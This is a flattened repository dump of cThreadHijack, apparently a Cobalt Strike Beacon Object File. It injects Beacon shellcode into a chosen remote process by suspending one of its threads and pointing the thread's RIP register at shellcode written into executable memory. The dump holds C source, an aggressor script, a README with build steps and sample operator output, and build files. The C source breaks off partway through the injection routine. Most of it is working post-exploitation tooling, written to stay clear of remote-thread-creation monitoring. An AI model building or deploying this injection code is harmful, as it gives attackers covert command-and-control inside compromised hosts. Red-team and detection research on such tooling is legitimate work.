├── cThreadHijack.o
├── cThreadHijack.vcxproj.user
├── Makefile.msvc
├── libc.h
├── cThreadHijack.vcxproj.filters
├── cThreadHijack.sln
├── beacon.h
├── cThreadHijack.cna
├── README.md
├── .gitignore
├── cThreadHijack.vcxproj
└── cThreadHijack.c
/cThreadHijack.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/cThreadHijack/HEAD/cThreadHijack.o
--------------------------------------------------------------------------------
/cThreadHijack.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Makefile.msvc:
--------------------------------------------------------------------------------
1 | build:
2 | @echo [+] Building cThreadHijack...
3 | @cl /nologo /c /GS- "cThreadHijack.c" /Fo"cThreadHijack.o" > NUL
4 | clean:
5 | @echo [+] Cleaning Solution...
6 | @del "cThreadHijack.o" /Q
7 |
8 |
--------------------------------------------------------------------------------
/libc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * *grumble* *grumble* BOF files don't have access to a libc.
3 | * So, these are quick implementations of some stuff we need.
4 | */
5 | // Credits: https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c
6 | #include
7 | #include
8 |
9 | void mycopy(char* dst, const char* src, int size) {
10 | int x;
11 | for (x = 0; x < size; x++) {
12 | *dst = *src;
13 | dst++;
14 | src++;
15 | }
16 | }
17 |
18 | char mylc(char a) {
19 | if (a >= 'A' && a <= 'Z') {
20 | return a + 32;
21 | }
22 | else {
23 | return a;
24 | }
25 | }
26 |
27 | BOOL mycmpi(char* a, char* b) {
28 | while (*a != 0 && *b != 0) {
29 | if (mylc(*a) != mylc(*b))
30 | return FALSE;
31 | a++;
32 | b++;
33 | }
34 |
35 | return TRUE;
36 | }
--------------------------------------------------------------------------------
/cThreadHijack.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
--------------------------------------------------------------------------------
/cThreadHijack.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30404.54
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cThreadHijack", "cThreadHijack.vcxproj", "{A45B232D-CF92-4061-BFDC-38F4EDF43FC4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x64.ActiveCfg = Debug|x64
17 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x64.Build.0 = Debug|x64
18 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x86.ActiveCfg = Debug|Win32
19 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x86.Build.0 = Debug|Win32
20 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x64.ActiveCfg = Release|x64
21 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x64.Build.0 = Release|x64
22 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x86.ActiveCfg = Release|Win32
23 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {47947D20-B28F-4C6C-AC4B-62D592C2D883}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/beacon.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon Object Files (BOF)
3 | * -------------------------
4 | * A Beacon Object File is a light-weight post exploitation tool that runs
5 | * with Beacon's inline-execute command.
6 | *
7 | * Cobalt Strike 4.1.
8 | */
9 |
10 | /* data API */
11 | typedef struct {
12 | char * original; /* the original buffer [so we can free it] */
13 | char * buffer; /* current pointer into our buffer */
14 | int length; /* remaining length of data */
15 | int size; /* total size of this buffer */
16 | } datap;
17 |
18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
23 |
24 | /* format API */
25 | typedef struct {
26 | char * original; /* the original buffer [so we can free it] */
27 | char * buffer; /* current pointer into our buffer */
28 | int length; /* remaining length of data */
29 | int size; /* total size of this buffer */
30 | } formatp;
31 |
32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
39 |
40 | /* Output Functions */
41 | #define CALLBACK_OUTPUT 0x0
42 | #define CALLBACK_OUTPUT_OEM 0x1e
43 | #define CALLBACK_ERROR 0x0d
44 | #define CALLBACK_OUTPUT_UTF8 0x20
45 |
46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
48 |
49 | /* Token Functions */
50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
51 | DECLSPEC_IMPORT void BeaconRevertToken();
52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
53 |
54 | /* Spawn+Inject Functions */
55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
59 |
60 | /* Utility Functions */
61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
62 |
--------------------------------------------------------------------------------
/cThreadHijack.cna:
--------------------------------------------------------------------------------
1 | # Register help/usage for cThreadHijack
2 | beacon_command_register(
3 | "cThreadHijack",
4 | "cThreadHijack: Remote process injection via thread hijacking",
5 | "\ncThreadHijack: Remote process injection via thread hijacking\n".
6 | "\nUsage: cThreadHijack PID LISTENER_NAME\n".
7 | "\ncThreadHijack works by injecting raw Beacon shellcode, generated via a user-supplied listener argument, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, instead of spawning a new remote thread via CreateRemoteThread or other APIs, cThreadHijack identifies the first enumerated thread in the target process, suspends it, and retrieves the contents of the thread's CPU state via a CONTEXT structure. Then, the RIP register member of the CONTEXT structure (on 64-bit systems) is manipulated to point to the address of the aforementioned remote Beacon shellcode. Prior to execution, a routine is added to wrap the Beacon shellcode inside of a call to CreateThread - giving Beacon its own thread to work in, with this thread being locally spawned, versus being spawned remotely. The CreateThread routine is also wrapped in an NtContinue function call routine, allowing restoration of the previously hijacked thread without crashing the remote process. Beacon payloads for cThreadHijack are generated with a 'thread' exit function, allowing process continuation after the Beacon has been exited. Beacon listener names, when containing a space, must be placed in quotes.\n".
8 | "\nExample usage: cThreadHijack 8897 \"HTTPS Listener\"\n"
9 | );
10 |
11 | # Setup cThreadHijack
12 | alias cThreadHijack {
13 |
14 | # Alias for Beacon ID and args
15 | local('$bid $listener $pid $payload');
16 |
17 | # Set the number of arguments
18 | ($bid, $pid, $listener) = @_;
19 |
20 | # Determine the amount of arguments
21 | if (size(@_) != 3)
22 | {
23 | berror($bid, "Error! Please enter a valid listener and PID");
24 | return;
25 | }
26 |
27 | # Read in the BOF
28 | $handle = openf(script_resource("cThreadHijack.o"));
29 | $data = readb($handle, -1);
30 | closef($handle);
31 |
32 | # Verify PID is an integer
33 | if ((!-isnumber $pid) || (int($pid) <= 0))
34 | {
35 | berror($bid, "Please enter a valid PID!\n");
36 | return;
37 | }
38 |
39 | # Generate a new payload
40 | $payload = payload_local($bid, $listener, "x64", "thread");
41 | $handle1 = openf(">out.bin");
42 | writeb($handle1, $data1);
43 | closef($handle1);
44 |
45 | # Pack the arguments
46 | # 'b' is binary data and 'i' is an integer
47 | $args = bof_pack($bid, "ib", $pid, $payload);
48 |
49 | # Run the BOF
50 | # go = Entry point of the BOF
51 | beacon_inline_execute($bid, $data, "go", $args);
52 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## cThreadHijack
2 | ```
3 | ___________.__ .______ ___ .__ __ __
4 | ___\__ ___/| |_________ ____ _____ __| _/ | \|__| |__|____ ____ | | __
5 | _/ ___\| | | | \_ __ \_/ __ \\__ \ / __ / ~ \ | | \__ \ _/ ___\| |/ /
6 | \ \___| | | Y \ | \/\ ___/ / __ \_/ /_/ \ Y / | | |/ __ \\ \___| <
7 | \___ >____| |___| /__| \___ >____ /\____ |\___|_ /|__/\__| (____ /\___ >__|_ \
8 | \/ \/ \/ \/ \/ \/ \______| \/ \/ \/
9 | ```
10 | Beacon Object File (BOF) for remote process injection, via thread hijacking, without spawning a remote thread. Accompanying blog can be found [here](https://connormcgarr.github.io/thread-hijacking/). cThreadHijack works by injecting raw Beacon shellcode, generated via a user-supplied listener argument, into a remote process, defined by the user-supplied PID argument, via `VirtualAllocEx` and `WriteProcessMemory`. Then, instead of spawning a new remote thread via `CreateRemoteThread` or other APIs, cThreadHijack identifies the first enumerated thread in the target process, suspends it, and retrieves the contents of the thread's CPU state via a `CONTEXT` structure. Then, the RIP register member of the `CONTEXT` structure (on 64-bit systems) is manipulated to point to the address of the aforementioned remote Payload. Prior to execution, a routine is added to wrap the Beacon shellcode inside of a call to `CreateThread` - giving Beacon its own thread to work in, with this thread being locally spawned, versus being spawned remotely. The `CreateThread` routine is also wrapped in an `NtContinue` function call routine, allowing restoration of the previously hijacked thread without crashing the remote process. Beacon payloads for cThreadHijack are generated with a 'thread' exit function, allowing process continuation after the Beacon has been exited. Beacon listener names, when containing a space, must be placed in quotes.
11 |
12 | ### BUILDING: ###
13 | 1. On a Windows machine, open a `x64 Native Tools Command Prompt for VS` prompt. This can be done by pressing the Windows key and typing `x64 Native Tools` and selecting the prompt.
14 | 2. Change directory to `C:\path\to\cThreadHijack`.
15 | 3. `nmake -f Makefile.msvc build`
16 | 4. Load cThreadHijack.cna through the Cobalt Strike `Script Console` with `load /path/to/cThreadHijack.cna`
17 |
18 | ### USAGE: ###
19 | `cThreadHijack PID LISTENER_NAME`
20 |
21 | ```
22 | beacon> cThreadHijack 7340 TESTING
23 | [+] host called home, sent: 268433 bytes
24 | [+] received output:
25 | [+] Target process PID: 7340
26 |
27 | [+] received output:
28 | [+] Opened a handle to PID 7340
29 |
30 | [+] received output:
31 | [+] Found a thread in the target process! Thread ID: 10212
32 |
33 | [+] received output:
34 | [+] Suspending the targeted thread...
35 |
36 | [+] received output:
37 | [+] Wrote Beacon shellcode to the remote process!
38 |
39 | [+] received output:
40 | [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process!
41 |
42 | [+] received output:
43 | [+] Size of NtContinue routine: 64 bytes
44 | [+] Size of CONTEXT structure: 1232 bytes
45 | [+] Size of stack alignment routine: 4
46 | [+] Size of CreateThread routine: 64
47 | [+] Size of shellcode: 261632 bytes
48 |
49 | [+] received output:
50 | [+] Wrote payload to buffer to previously allocated buffer inside of!
51 |
52 | [+] received output:
53 | [+] Current RIP: 0x7ffa55df69a4
54 |
55 | [+] received output:
56 | [+] Successfully pointed the target thread's RIP register to the shellcode!
57 |
58 | [+] received output:
59 | [+] Current RIP: 0x201f4ab0000
60 |
61 | [+] received output:
62 | [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute...
63 | ```
64 |
65 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------
/cThreadHijack.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 | 16.0
24 | Win32Proj
25 | {a45b232d-cf92-4061-bfdc-38f4edf43fc4}
26 | cThreadHijack
27 | 10.0
28 |
29 |
30 |
31 | Application
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v142
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v142
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | true
84 |
85 |
86 | false
87 |
88 |
89 |
90 |
91 | Level3
92 | true
93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
94 | true
95 |
96 |
97 | Console
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | true
106 | true
107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 | true
114 | true
115 |
116 |
117 |
118 |
119 | Level3
120 | true
121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
122 | true
123 |
124 |
125 | Console
126 | true
127 |
128 |
129 |
130 |
131 | Level3
132 | true
133 | true
134 | true
135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
136 | true
137 |
138 |
139 | Console
140 | true
141 | true
142 | true
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
--------------------------------------------------------------------------------
/cThreadHijack.c:
--------------------------------------------------------------------------------
1 | // cThreadHijack: Beacon Object File (BOF) to identify a legitimate thread within a remote process, suspend it, point the thread to shellcode, and resume/restore it
2 | // Author: Connor McGarr (@33y0re)
3 |
4 | #include
5 | #include
6 | #include "libc.h"
7 | #include "beacon.h"
8 |
9 | void go(char* argc, int len)
10 | {
11 | // Function declarations
12 | WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
13 | WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
14 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);
15 | DECLSPEC_IMPORT void WINAPI MSVCRT$free(void*);
16 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD);
17 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
18 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
19 | WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
20 | WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T);
21 | WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
22 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread(DWORD, BOOL, DWORD);
23 | WINBASEAPI BOOL WINAPI KERNEL32$Thread32First(HANDLE, LPTHREADENTRY32);
24 | WINBASEAPI BOOL WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
25 | WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread(HANDLE);
26 | WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE);
27 | WINBASEAPI BOOL WINAPI KERNEL32$GetThreadContext(HANDLE, LPCONTEXT);
28 | NTSYSAPI VOID WINAPI NTDLL$RtlMoveMemory(PVOID, const VOID*, SIZE_T);
29 | WINBASEAPI BOOL WINAPI KERNEL32$SetThreadContext(HANDLE, LPCONTEXT);
30 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError();
31 |
32 | // Parameters needed for BOFs to take in input
33 | // datap is a typedef'd structure
34 | datap parser;
35 | DWORD payloadSize = NULL;
36 |
37 | // Parse arguments
38 | BeaconDataParse(&parser, argc, len);
39 |
40 | // Store the desired PID
41 | int pid = BeaconDataInt(&parser);
42 |
43 | // Store the payload and grab the size
44 | char* shellcode = (char*)BeaconDataExtract(&parser, &payloadSize);
45 |
46 | // Define NTSTATUS code
47 | NTSTATUS statusSuccess = (NTSTATUS)0x00000000;
48 |
49 | // Print update
50 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Target process PID: %d\n", pid);
51 |
52 | // Open up a handle to the targeted process
53 | HANDLE processHandle = KERNEL32$OpenProcess(
54 | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
55 | FALSE,
56 | (DWORD)pid
57 | );
58 |
59 | // Error handling
60 | if (processHandle == NULL)
61 | {
62 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to open a handle to the process. Error: 0x%lx\n", KERNEL32$GetLastError());
63 | }
64 | else
65 | {
66 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opened a handle to PID %d\n", pid);
67 |
68 | // Parameters for call to CreateToolhelp32Snapshot()
69 | THREADENTRY32 lpte;
70 | lpte.dwSize = sizeof(THREADENTRY32);
71 | HANDLE desiredThread = NULL;
72 |
73 | // Get a snapshot of all of the threads
74 | HANDLE threadSnapshot = KERNEL32$CreateToolhelp32Snapshot(
75 | TH32CS_SNAPTHREAD,
76 | 0
77 | );
78 |
79 | // Parse the threads and look for the first thread within the target process
80 | if (KERNEL32$Thread32First(threadSnapshot, &lpte) == TRUE)
81 | {
82 | while (KERNEL32$Thread32Next(threadSnapshot, &lpte) == TRUE)
83 | {
84 | // Stop when the first thread of the target process is found and open a handle to the thread
85 | if (lpte.th32OwnerProcessID == pid)
86 | {
87 | // Print update
88 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Found a thread in the target process! Thread ID: %d\n", lpte.th32ThreadID);
89 |
90 | // Open a handle to the thread
91 | desiredThread = KERNEL32$OpenThread(
92 | THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT | THREAD_GET_CONTEXT,
93 | FALSE,
94 | lpte.th32ThreadID
95 | );
96 |
97 | // Break the loop
98 | break;
99 | }
100 | }
101 | }
102 |
103 | // Close up the handle
104 | KERNEL32$CloseHandle(
105 | threadSnapshot
106 | );
107 |
108 | // Print update
109 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Suspending the targeted thread...\n");
110 |
111 | // Suspend the targeted thread
112 | DWORD suspendThread = KERNEL32$SuspendThread(
113 | desiredThread
114 | );
115 |
116 | // Parameter for call to GetThreadContext() and SetThreadContext()
117 | CONTEXT cpuRegisters = { 0 };
118 | cpuRegisters.ContextFlags = CONTEXT_ALL;
119 |
120 | // Dump the state of the registers of the current thread
121 | BOOL getContext = KERNEL32$GetThreadContext(
122 | desiredThread,
123 | &cpuRegisters
124 | );
125 |
126 | // Error handling
127 | if (!getContext)
128 | {
129 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to get the state of the target thread. Error: 0x%lx\n", KERNEL32$GetLastError());
130 | }
131 | else
132 | {
133 | // Inject shellcode into remote process
134 | // This address will be used for local thread creation within the remote process eventually
135 | PVOID placeRemotely = KERNEL32$VirtualAllocEx(
136 | processHandle,
137 | NULL,
138 | payloadSize,
139 | MEM_RESERVE | MEM_COMMIT,
140 | PAGE_EXECUTE_READWRITE
141 | );
142 |
143 | // Error handling
144 | if (placeRemotely == NULL)
145 | {
146 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory within the remote process. Error: 0x%lx\n", KERNEL32$GetLastError());
147 | }
148 | else
149 | {
150 | // Write the shellcode to the remote buffer
151 | BOOL writeRemotely = KERNEL32$WriteProcessMemory(
152 | processHandle,
153 | placeRemotely,
154 | shellcode,
155 | payloadSize,
156 | NULL
157 | );
158 |
159 | // Error handling
160 | if (!writeRemotely)
161 | {
162 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write shellcode to allocated buffer. Error: 0x%lx\n", KERNEL32$GetLastError());
163 | }
164 | else
165 | {
